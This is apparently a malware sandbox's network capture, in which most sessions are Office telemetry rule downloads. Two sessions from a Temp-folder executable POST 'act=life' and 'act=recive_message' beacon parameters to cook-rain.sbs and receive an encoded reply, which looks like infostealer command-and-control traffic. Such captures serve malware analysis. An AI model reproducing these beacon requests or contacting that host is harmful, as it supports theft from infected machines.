2024-11-22 03:12:49 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:49 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:49 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:49 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 6a566218-301e-0099-5f54-3c6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031249Z-178bfbc474bbbqrhhC1NYCvw7400000002n00000000025fe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:49 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:50 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:51 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:51 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031251Z-174c587ffdfmlsmvhC1TEBvyks000000010g000000009566 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:51 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:51 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:51 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:51 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 119e228c-001e-0046-1663-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031251Z-178bfbc474bfw4gbhC1NYCunf400000002ag00000000k1a7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:51 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:51 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:51 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:51 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: efcbc6c0-c01e-008d-3f44-3c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031251Z-15b8b599d885v8r9hC1TEB104g00000000u000000000h880 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:51 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49872	172.67.155.248	443	5572	C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:51 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-22 03:12:51 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-22 03:12:52 UTC	1007	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s8cll916vgisenul6ka7n85sbc; expires=Mon, 17-Mar-2025 20:59:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QUjxT%2FxiPZzqETSNEyr7cuVzbQPvFO5Mm%2FkKFS8EwgWauQYmSjT8cxVuoYiNUpsnB6CmFwjPCV2XsB2pKnm86gl17l4uQDt%2BOyRuzVh%2FdaCujqKe%2BzsfesBz7wOnHwgC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e65bd833b184235-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2126&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=1360671&cwnd=248&unsent_bytes=0&cid=4c7af655b82a09ca&ts=874&x=0"
2024-11-22 03:12:52 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-22 03:12:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:51 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:52 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:51 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 652d7de6-201e-0033-5d3c-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031251Z-178bfbc474bnwsh4hC1NYC2ubs00000002c000000000kru3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:52 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:52 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:52 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:52 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 954384e5-001e-0082-7954-3c5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031252Z-15b8b599d88hr8sfhC1TEBbca400000000qg00000000bdbt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:52 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:53 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:53 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:53 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: cb4d723f-a01e-003d-7157-3c98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031253Z-15b8b599d882hxlwhC1TEBfa5w00000000sg000000008ft2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:53 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:53 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:53 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:53 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 18ec886b-801e-0078-7044-3cbac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031253Z-178bfbc474brk967hC1NYCfu60000000024g00000000f1ce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:53 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49883	172.67.155.248	443	5572	C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:53 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-22 03:12:53 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-22 03:12:54 UTC	1009	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uit2ps9e5u5gt5mc1521r6bikg; expires=Mon, 17-Mar-2025 20:59:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CtlOVO8D%2BqqmoDxDidyxsRzSy71PaxvhBYaEp%2FOOHuVxCP%2Bn99LAV4iXsVcrxoxFtxjiC344H%2FCtCoXGFg%2BUxZ05xPmNLTMVp4YU%2Bg4ZfSlD3sSiGGvaFF8NxQ6dhjhJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e65bd92ece5191e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1651&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=950&delivery_rate=1827284&cwnd=238&unsent_bytes=0&cid=54724204c1492229&ts=748&x=0"
2024-11-22 03:12:54 UTC	360	IN	Data Raw: 34 65 33 0d 0a 4f 74 4e 4a 4c 52 7a 50 64 77 66 6c 70 56 6d 69 32 47 75 55 43 6f 68 49 56 6a 73 57 6a 4f 51 61 48 4e 47 6e 4b 64 77 31 4f 36 6c 42 38 54 38 50 4a 76 74 62 4a 5a 62 41 65 35 69 73 47 65 46 76 70 47 6f 33 58 7a 53 32 67 6e 74 77 6f 73 49 46 2f 6b 4e 57 69 77 43 31 4b 45 46 76 71 6c 73 6c 67 4e 31 37 6d 49 4d 51 74 6d 2f 6d 61 6d 77 5a 63 2b 61 47 65 33 43 7a 78 6b 4b 7a 52 56 66 4b 55 72 38 75 52 58 6d 73 45 32 61 4a 79 44 7a 48 76 51 72 2b 5a 4f 45 6c 50 6c 59 30 6f 4d 5a 2f 5a 76 4f 64 43 35 46 51 54 38 68 33 73 6a 70 47 50 72 4a 62 66 4d 66 41 4e 34 44 69 53 66 56 76 36 69 51 77 58 33 33 6b 6a 48 4a 34 73 73 4e 44 72 46 78 64 77 56 4b 78 4c 55 52 7a 70 51 64 72 67 38 38 33 77 62 63 4b 74 69 61 71 4c 53 77 5a 4c 4b 37 56 53 6e 32 69 31 46 Data Ascii: 4e3OtNJLRzPdwflpVmi2GuUCohIVjsWjOQaHNGnKdw1O6lB8T8PJvtbJZbAe5isGeFvpGo3XzS2gntwosIF/kNWiwC1KEFvqlslgN17mIMQtm/mamwZc+aGe3CzxkKzRVfKUr8uRXmsE2aJyDzHvQr+ZOElPlY0oMZ/ZvOdC5FQT8h3sjpGPrJbfMfAN4DiSfVv6iQwX33kjHJ4ssNDrFxdwVKxLURzpQdrg883wbcKtiaqLSwZLK7VSn2i1F
2024-11-22 03:12:54 UTC	898	IN	Data Raw: 77 78 61 67 43 2f 32 58 6e 4b 6a 6c 54 65 2b 32 47 66 33 53 35 79 6b 47 36 57 6c 54 4e 57 4c 46 72 41 54 36 71 44 53 58 66 68 78 6a 46 71 67 37 36 66 71 67 51 64 45 59 36 39 38 5a 2f 63 76 4f 64 43 37 5a 53 57 73 68 54 76 69 68 48 64 62 38 56 64 34 48 4b 50 74 4b 38 44 50 68 69 36 54 67 2b 56 33 4c 74 6a 33 4e 33 74 73 4a 50 2f 68 6b 5a 7a 45 44 78 63 77 39 66 6f 42 35 70 6a 64 41 37 67 4b 56 48 37 79 6a 74 4a 6e 51 42 4e 4f 71 48 66 48 2b 33 79 30 57 36 57 31 2f 46 56 62 34 74 52 58 36 71 48 32 32 50 78 6a 62 4c 74 51 6e 7a 5a 65 34 73 4f 46 68 78 72 73 67 34 65 61 75 46 45 2f 35 35 58 73 68 4b 38 78 35 4d 63 4b 4d 53 63 38 66 59 64 64 6e 36 44 76 6f 6f 73 6d 6f 36 58 48 76 38 68 32 70 37 76 64 64 48 75 31 46 55 79 46 61 78 4c 6b 68 7a 6f 78 4e 69 68 4d Data Ascii: wxagC/2XnKjlTe+2Gf3S5ykG6WlTNWLFrAT6qDSXfhxjFqg76fqgQdEY698Z/cvOdC7ZSWshTvihHdb8Vd4HKPtK8DPhi6Tg+V3Ltj3N3tsJP/hkZzEDxcw9foB5pjdA7gKVH7yjtJnQBNOqHfH+3y0W6W1/FVb4tRX6qH22PxjbLtQnzZe4sOFhxrsg4eauFE/55XshK8x5McKMSc8fYddn6Dvoosmo6XHv8h2p7vddHu1FUyFaxLkhzoxNihM
